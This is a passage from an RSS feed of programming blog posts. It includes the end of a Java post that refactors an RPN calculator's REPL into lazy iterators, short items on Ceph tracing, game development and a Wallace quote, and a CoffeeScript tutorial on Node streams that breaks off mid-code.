&lt;span class="hljs-keyword"&gt;while&lt;/span&gt;(running) {
    System.out.println();
    showStack();
    System.out.print(&lt;span class="hljs-string"&gt;&amp;quot;&amp;gt; &amp;quot;&lt;/span&gt;);
 
    &lt;span class="hljs-type"&gt;String&lt;/span&gt; &lt;span class="hljs-variable"&gt;cmdLine&lt;/span&gt; &lt;span class="hljs-operator"&gt;=&lt;/span&gt; System.console().readLine();
 
    &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (cmdLine == &lt;span class="hljs-literal"&gt;null&lt;/span&gt;)
        &lt;span class="hljs-keyword"&gt;break&lt;/span&gt;;
 
    &lt;span class="hljs-type"&gt;Command&lt;/span&gt; &lt;span class="hljs-variable"&gt;cmd&lt;/span&gt; &lt;span class="hljs-operator"&gt;=&lt;/span&gt; parseCommandString(cmdLine);
 
    &lt;span class="hljs-type"&gt;State&lt;/span&gt; &lt;span class="hljs-variable"&gt;initialState&lt;/span&gt; &lt;span class="hljs-operator"&gt;=&lt;/span&gt; state;
 
    state = cmd.execute(state);
 
    lastState = initialState;
}
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;Neither of the two sequences this loop traverses are made explicit within the code, both are implicit in the sequence of values taken on by variables managed by the loop. The first sequence the loop traverses is the sequence of commands that the user enters at the console. This sequence manifests in the code as the sequence of values taken on by cmd through each iteration of the loop. The second sequence is similarly implicit: the sequence of states that state takes on through each iteration. Last post, when we added the &lt;code&gt;CommandStateIterator&lt;/code&gt;, the key to that refactoring was that we took one of the implicit loop sequences and made it explicitly a sequence witin the code. Having an explicit structure within the code for the sequence of commands provided a place for the loop to invoke the reader that wasn’t in the body of the loop itself.&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="java"&gt;&lt;pre&gt;&lt;span class="hljs-comment"&gt;// Set initial state&lt;/span&gt;
&lt;span class="hljs-type"&gt;State&lt;/span&gt; &lt;span class="hljs-variable"&gt;state&lt;/span&gt; &lt;span class="hljs-operator"&gt;=&lt;/span&gt; &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;State&lt;/span&gt;();
 
&lt;span class="hljs-comment"&gt;// Loop over all input commands&lt;/span&gt;
&lt;span class="hljs-keyword"&gt;for&lt;/span&gt;(Command cmd : &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;ConsoleCommandStream&lt;/span&gt;()) {
 
    &lt;span class="hljs-comment"&gt;// Evaluate the command and produce the next state.&lt;/span&gt;
    state = cmd.execute(state);
 
    &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (state == &lt;span class="hljs-literal"&gt;null&lt;/span&gt;)
        &lt;span class="hljs-keyword"&gt;break&lt;/span&gt;;
 
    &lt;span class="hljs-comment"&gt;// Print the current state&lt;/span&gt;
    showStack(state);
}
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;Looking forward, the next refactoring for the REPL is to make explicit the implicit sequence of result states in the same way we transformed the sequence of input commands. This will let us take our current loop, which loops over input commands, and turn it into a loop over states. The call to evaluate will be pushed into an iterator in the same way that we pushed the reader into an iterator in the last post. This leaves us with a main loop that simply loops over states and prints them out:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="java"&gt;&lt;pre&gt;&lt;span class="hljs-keyword"&gt;for&lt;/span&gt;(State state : &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;CommandStateReduction&lt;/span&gt;(&lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;State&lt;/span&gt;(), &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;CommandStream&lt;/span&gt;()))
    showStack(state);
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;This code is short, but it’s dense: most of the logic is now outside the text of the loop, and within &lt;code&gt;CommandStateReduction&lt;/code&gt; and &lt;code&gt;CommandStream&lt;/code&gt;. The command stream is the same stream of commands used in the last version of rpncalc. The ‘command state reduction’ stream is the stream that invokes the commands to produce the sequence of states. I’ve given it the name ‘reduction’ because of the way it relates to reduce in funcional programming. To see why, look back at abstract class we’re using to model a command:&lt;/p&gt;&lt;div class="codeblock error"&gt;&lt;code class="text"&gt;&lt;pre&gt;abstract class Command
{
    abstract State execute(State in);
}
&lt;/pre&gt;&lt;/code&gt;&lt;div class="error-message"&gt;Code found missing language specification while processing file: ksm/rpncalc_07.md&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Given a state, applying a command results in a new state, returned from the execute method. A second command can then be applied to the new state giving an even newer state, and there’s no inherent bound on the number of times this can happen. In this way, a sequence of commands applied to an initial state produces a corresponding sequence of output states. The sequence of output states is the sequence of command results that the REPL needs to print for each entered command. Each time a command is executed, the result state needs to be printed and stored for the next command.&lt;/p&gt;&lt;p&gt;The relationship between this and reduction comes from the fact that reduction combines the elements of a sequence into an aggregate result. Reducing + over a list of numbers gives the sum of those numbers. Applying a sequence of commands combines the effects of those commands into a single final result. The initial value that gets passed into the reduction is the initial state. The sequence over which the reduction is applied is the sequence of commands from the console. The combining operator is command application. The most significant difference between this and traditional reduce is that we need more than just the final result, we also need each intermediate result. (This makes our reduction more like Haskell’s scan operator.)&lt;/p&gt;&lt;p&gt;Practically speaking &lt;code&gt;CommandStateReduction&lt;/code&gt; is implemented as an &lt;code&gt;Iterable&lt;/code&gt;. The constructor takes two arguments: the initial state before any commands are executed, and a sequence of commands to be executed.&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="java"&gt;&lt;pre&gt;&lt;span class="hljs-keyword"&gt;class&lt;/span&gt; &lt;span class="hljs-title class_"&gt;CommandStateReduction&lt;/span&gt; &lt;span class="hljs-keyword"&gt;implements&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Iterable&lt;/span&gt;&amp;lt;State&amp;gt;
{
    CommandStateReduction(State initialState, Iterable&amp;lt;Command&amp;gt; cmds)
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;Note that the only property that the command state reduction requires of the sequence of commands is that it be &lt;code&gt;Iterable&lt;/code&gt; and produce &lt;code&gt;Command&lt;/code&gt;s. There’s nothing about the signature of the reduction iterator that requires the sequence of commands to be concrete and known ahead of time. This is useful, because our current command source is &lt;code&gt;CommandStream&lt;/code&gt;, which lazily produces commands. Both the command stream and the command state reduction are lazily evaluated, and only operate when a caller makes a request. The command stream doesn’t read until the evaluator requests a command, the evaluator doesn’t evaluate until the printer makes a request for a value. Despite the fact that it’s hidden behind a pipeline of iterable object, the REPL still operates as it did before: first it reads, then it evaluates, then it prints, and then it loops back.&lt;/p&gt;&lt;p&gt;As with the command state iterator, most of the logic in command state reduction is handled with a single &lt;code&gt;advanceIfNecessary&lt;/code&gt; method. The instance variable state is used to maintain the state between command applications:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="java"&gt;&lt;pre&gt;&lt;span class="hljs-keyword"&gt;private&lt;/span&gt; &lt;span class="hljs-type"&gt;State&lt;/span&gt; &lt;span class="hljs-variable"&gt;state&lt;/span&gt; &lt;span class="hljs-operator"&gt;=&lt;/span&gt; initialState;
 
&lt;span class="hljs-keyword"&gt;private&lt;/span&gt; &lt;span class="hljs-type"&gt;boolean&lt;/span&gt; &lt;span class="hljs-variable"&gt;needsAdvance&lt;/span&gt; &lt;span class="hljs-operator"&gt;=&lt;/span&gt; &lt;span class="hljs-literal"&gt;true&lt;/span&gt;;
 
Iterator&amp;lt;Command&amp;gt; cmdIterator = cmds.iterator();
 
&lt;span class="hljs-keyword"&gt;private&lt;/span&gt; &lt;span class="hljs-keyword"&gt;void&lt;/span&gt; &lt;span class="hljs-title function_"&gt;advanceIfNecessary&lt;/span&gt;&lt;span class="hljs-params"&gt;()&lt;/span&gt;
{
    &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (!needsAdvance)
        &lt;span class="hljs-keyword"&gt;return&lt;/span&gt;;
 
    needsAdvance = &lt;span class="hljs-literal"&gt;false&lt;/span&gt;;
 
    &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (cmdIterator.hasNext())
        state = cmdIterator.next().execute(state);
    &lt;span class="hljs-keyword"&gt;else&lt;/span&gt;
        state = &lt;span class="hljs-literal"&gt;null&lt;/span&gt;;
}
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;Looking back at the code, the Java version of the RPN calculator has come a long way. From heavily procedural origins, we’ve added command pattern based undo logic, switched over to a functional style of implementation, and redesigned our main loop so that it operates via lazy operations on streams of values. We’ve taken a big step in the direction of functional programming. The downside has been in the size of the code. The functional style has many benefits, but it’s not a style that’s idiomatic to Java (at least before Java 8). Our code side has more than doubled from 150 to 320 LOC. In the next few entries of this series, we’ll continue evolving rpncalc, but switch over to Clojure. This will let us continue this line of development without getting buried in the syntax of Java.&lt;/p&gt;</description><author>Mike Schaeffer</author><pubDate>Sun, 01 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://mschaef.com/ksm/rpncalc_07</guid></item><item><title>Tracing Ceph with LTTng</title><link>https://makedist.com/posts/2014/06/01/tracing-ceph-with-lttng/</link><description>Collecting execution traces in Ceph with LTTng userspace tooling.</description><author>Noah Watkins</author><pubDate>Sun, 01 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2014/06/01/tracing-ceph-with-lttng/</guid></item><item><title>Screenshot Saturday 173</title><link>https://etodd.io/2014/05/31/screenshot-saturday-173/</link><description>&lt;p&gt;Last week was a &lt;a class="imgScanned" href="https://etodd.io/2014/05/23/screenshot-saturday-172/" rel="nofollow"&gt;huge update&lt;/a&gt;, so this week is a bit smaller.&lt;/p&gt;
&lt;p&gt;First, we're hard at work on the animations. Here are some early WIP animations:&lt;/p&gt;
&lt;p&gt;&lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/SilentAgedCentipede.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;There are also a ton of new player sounds to accompany those animations, but those aren't very screenshotable. :)&lt;/p&gt;
&lt;p&gt;I also vastly improved the god ray effect from last week, so everything is much smoother. Here's another 4K screenshot of it:&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 31 May 2014 03:48:13 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/05/31/screenshot-saturday-173/</guid></item><item><title>Routine by David Foster Wallace</title><link>https://ho.dges.online/words/commonplace/routine-by-david-foster-wallace/</link><description>&lt;p&gt;&amp;ldquo;Routine, repetition, tedium, monotony, ephemeracy, inconsequence, abstraction, disorder, boredom, angst, ennui—these are the true hero’s enemies, and make no mistake, they are fearsome indeed. For they are real.&amp;rdquo;&amp;quot;&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sat, 31 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/routine-by-david-foster-wallace/</guid></item><item><title>The kernel challange series: Writing a Linux kernel module</title><link>https://trigonaminima.github.io/2014/05/writing-linux-kernel-module/</link><description>How I am becoming a Linux kernel developer (at least, I think I am). There will be a series of these posts as I get ahead on my becoming a Linux kernel developer quest. These are the ones I have written yet.</description><author>Playground</author><pubDate>Sat, 31 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2014/05/writing-linux-kernel-module/</guid></item><item><title>Node streams in CoffeeScript</title><link>https://jeroenpelgrims.com/node-streams-in-coffeescript/</link><description>&lt;p&gt;I was looking for a way to make a search on Google and getting the results back on a one-by-one basis instead of getting them by 10 per query to the api.&lt;br /&gt;
In Python I'd use &lt;a href="https://docs.python.org/2/tutorial/classes.html#generators"&gt;generators&lt;/a&gt; for this and I was looking for something similar in Node. As far as I could figure out actual generators are only available starting &lt;a href="http://stackoverflow.com/a/16986243/16720"&gt;from v11.x&lt;/a&gt; and thus not yet in 10.28, the current stable version. And even if they were, they wouldn't be in CoffeeScript yet.&lt;/p&gt;
&lt;p&gt;The closest solution that I found was &lt;a href="http://nodejs.org/api/stream.html"&gt;Streams&lt;/a&gt;.
It was a bit tricky figuring these out and getting them to work in CoffeeScript, hence this post.&lt;/p&gt;
&lt;h2 id="string-buffer-streams"&gt;String/Buffer streams&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/node-streams-in-coffeescript/#string-buffer-streams" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Streams in node by default handle with &lt;a href="http://nodejs.org/api/buffer.html#buffer_buffer"&gt;Buffer&lt;/a&gt; values. (Which can also be seen as strings since calling &lt;code&gt;.toString()&lt;/code&gt; on one will convert it to a string.)&lt;/p&gt;
&lt;pre class="language-python " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-python"&gt;&lt;span&gt;stream &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;require &lt;/span&gt;&lt;span style="color: #183691;"&gt;'stream'
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;class &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;CharStream extends stream&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;Readable
&lt;/span&gt;&lt;span&gt;    constructor: (&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;@&lt;/span&gt;&lt;span&gt;s) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;super
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;    _read: &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;for &lt;/span&gt;&lt;span&gt;c &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;in @&lt;/span&gt;&lt;span&gt;s
&lt;/span&gt;&lt;span&gt;            @push c
&lt;/span&gt;&lt;span&gt;        @push null
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;class &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;UpperCaseStream extends stream&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;Transform
&lt;/span&gt;&lt;span&gt;    _transform: (chunk, enc, &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;next&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        @push chunk.toString().toUpperCase()
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;next&lt;/span&gt;&lt;span&gt;()
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;class &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;LogStream extends stream&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;Writable
&lt;/span&gt;&lt;span&gt;    _write: (chunk, enc, &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;next&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        console.log chunk.toString()
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;next&lt;/span&gt;&lt;span&gt;()
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now when we run this:&lt;/p&gt;
&lt;pre class="language-python " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-python"&gt;&lt;span&gt;new CharStream &lt;/span&gt;&lt;span style="color: #183691;"&gt;'ab c'
&lt;/span&gt;&lt;span&gt;    .pipe new UpperCaseStream
&lt;/span&gt;&lt;span&gt;    .pipe new LogStream
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The console output will be:&lt;/p&gt;
&lt;pre class="language-python " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-python"&gt;&lt;span&gt;A
&lt;/span&gt;&lt;span&gt;B
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;C
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;CharStream takes a string and it's output is each character in that string one by one&lt;/li&gt;
&lt;li&gt;UpperCaseStream then takes the results from step 1 and transforms them to uppercase characters.&lt;/li&gt;
&lt;li&gt;Finally LogStream takes those uppercased values and logs them in the console&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="pushing-null"&gt;Pushing null&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/node-streams-in-coffeescript/#pushing-null" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Note that in &lt;code&gt;_read&lt;/code&gt; at the end null is pushed, this is to tell the consumer of the stream that the stream has ended.&lt;br /&gt;
If you don't do this the consumer will call &lt;code&gt;_read&lt;/code&gt; again, causing the stream to effectively never end. The output will then be an infinite sequence of &lt;code&gt;['a', 'b', ' ', 'c', 'a', 'b', ...]&lt;/code&gt;
Pushing things will (might?) trigger _read to be called again.&lt;/p&gt;
&lt;h2 id="object-streams"&gt;Object streams&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/node-streams-in-coffeescript/#object-streams" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you want to use regular javascript objects instead of just strings you'll need to set &lt;code&gt;objectMode = true&lt;/code&gt;.
It's important to do this in the call to &lt;code&gt;super&lt;/code&gt; and &lt;strong&gt;not&lt;/strong&gt; just setting it on &lt;code&gt;this&lt;/code&gt; (@)&lt;/p&gt;
&lt;pre class="language-python " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-python"&gt;&lt;span&gt;stream &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;require &lt;/span&gt;&lt;span style="color: #183691;"&gt;'stream'
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;class &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;ObjectStream extends stream&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;Readable
&lt;/span&gt;&lt;span&gt;    constructor: (&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;@&lt;/span&gt;&lt;span&gt;xs) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;super
&lt;/span&gt;&lt;span&gt;            objectMode: true
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;    _read: &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;for &lt;/span&gt;&lt;span&gt;x &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;in @&lt;/span&gt;&lt;span&gt;xs
&lt;/span&gt;&lt;span&gt;            @push x
&lt;/span&gt;&lt;span&gt;        @push null
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;class &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;GetPropertyStream extends stream&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;Transform
&lt;/span&gt;&lt;span&gt;    constructor: (&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;@&lt;/span&gt;&lt;span&gt;getter) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;super
&lt;/span&gt;&lt;span&gt;            objectMode: true
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;    _transform: (chunk, enc, &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;next&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        @push @getter(chunk)
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;next&lt;/span&gt;&lt;span&gt;()
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;class &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;UpperCaseStream extends stream&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;Transform
&lt;/span&gt;&lt;span&gt;    _transform: (chunk, enc, &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;next&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        @push chunk.toString().toUpperCase()
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;next&lt;/span&gt;&lt;span&gt;()
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;class &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;LogStream extends stream&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;Writable
&lt;/span&gt;&lt;span&gt;    _write: (chunk, enc, &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;next&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        console.log chunk.toString()
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;next&lt;/span&gt;&lt;span&gt;()
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Running the following will cause the values of the name properties to be logged in uppercase.&lt;/p&gt;
&lt;pre class="language-python " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-python"&gt;&lt;span&gt;new ObjectStream [
&lt;/span&gt;&lt;span&gt;        { name: &lt;/span&gt;&lt;span style="color: #183691;"&gt;'Jake' &lt;/span&gt;&lt;span&gt;}
&lt;/span&gt;&lt;span&gt;        { name: &lt;/span&gt;&lt;span style="color: #183691;"&gt;'Fred' &lt;/span&gt;&lt;span&gt;}
&lt;/span&gt;&lt;span&gt;        { name: &lt;/span&gt;&lt;span style="color: #183691;"&gt;'Mark' &lt;/span&gt;&lt;span&gt;}
&lt;/span&gt;&lt;span&gt;        { name: &lt;/span&gt;&lt;span style="color: #183691;"&gt;'Jeroen' &lt;/span&gt;&lt;span&gt;}
&lt;/span&gt;&lt;span&gt;    ]
&lt;/span&gt;&lt;span&gt;    .pipe new GetPropertyStream (x) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt; &lt;/span&gt;&lt;span&gt;x.name
&lt;/span&gt;&lt;span&gt;    .pipe new UpperCaseStream
&lt;/span&gt;&lt;span&gt;    .pipe new LogStream
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Result:&lt;/p&gt;
&lt;pre class="language-python " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-python"&gt;&lt;span style="color: #0086b3;"&gt;JAKE
&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;FRED
&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;MARK
&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;JEROEN
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="google-search-results-as-a-stream"&gt;Google search results as a stream&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/node-streams-in-coffeescript/#google-search-results-as-a-stream" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;What I eventually ended up with for getting the search results from Google one-by-one is the following:&lt;/p&gt;
&lt;pre class="language-python " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-python"&gt;&lt;span&gt;stream &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;require &lt;/span&gt;&lt;span style="color: #183691;"&gt;'stream'
&lt;/span&gt;&lt;span&gt;request &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;require &lt;/span&gt;&lt;span style="color: #183691;"&gt;'request'
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;class &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;GoogleSearchStream extends stream&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;Readable
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#https://developers.google.com/web-search/docs/reference
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;    constructor: (&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;@&lt;/span&gt;&lt;span&gt;query, &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;@&lt;/span&gt;&lt;span&gt;resultCount=&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;8&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;super
&lt;/span&gt;&lt;span&gt;            objectMode: true
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;        @resultsetSize &lt;/span&gt;&lt;span style="background-color: #f5f5f5; font-weight: bold; color: #b52a1d;"&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;8
&lt;/span&gt;&lt;span&gt;        @pushed &lt;/span&gt;&lt;span style="background-color: #f5f5f5; font-weight: bold; color: #b52a1d;"&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;0
&lt;/span&gt;&lt;span&gt;        @apiUrl &lt;/span&gt;&lt;span style="background-color: #f5f5f5; font-weight: bold; color: #b52a1d;"&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt; &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;https://ajax.googleapis.com/ajax/services/search/web?v=1.0&amp;amp;q=#{@query}&amp;amp;start=#{@pushed}&amp;amp;rsz=#{@resultsetSize}&amp;quot;
&lt;/span&gt;&lt;span&gt;        @pushBlock()
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;    _read: &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#do nothing
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;    pushBlock: () &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;-&amp;gt;
&lt;/span&gt;&lt;span&gt;        request.get
&lt;/span&gt;&lt;span&gt;            headers:
&lt;/span&gt;&lt;span&gt;                referer: &lt;/span&gt;&lt;span style="color: #183691;"&gt;'http://localhost'
&lt;/span&gt;&lt;span&gt;            url: &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;@&lt;/span&gt;&lt;span&gt;apiUrl(),
&lt;/span&gt;&lt;span&gt;            (err, response, body) &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;=&amp;gt;
&lt;/span&gt;&lt;span&gt;                &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;if not &lt;/span&gt;&lt;span&gt;err &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;and &lt;/span&gt;&lt;span&gt;body &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;and &lt;/span&gt;&lt;span&gt;response.statusCode &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;is &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;200
&lt;/span&gt;&lt;span&gt;                    data &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;JSON&lt;/span&gt;&lt;span&gt;.parse body).responseData
&lt;/span&gt;&lt;span&gt;
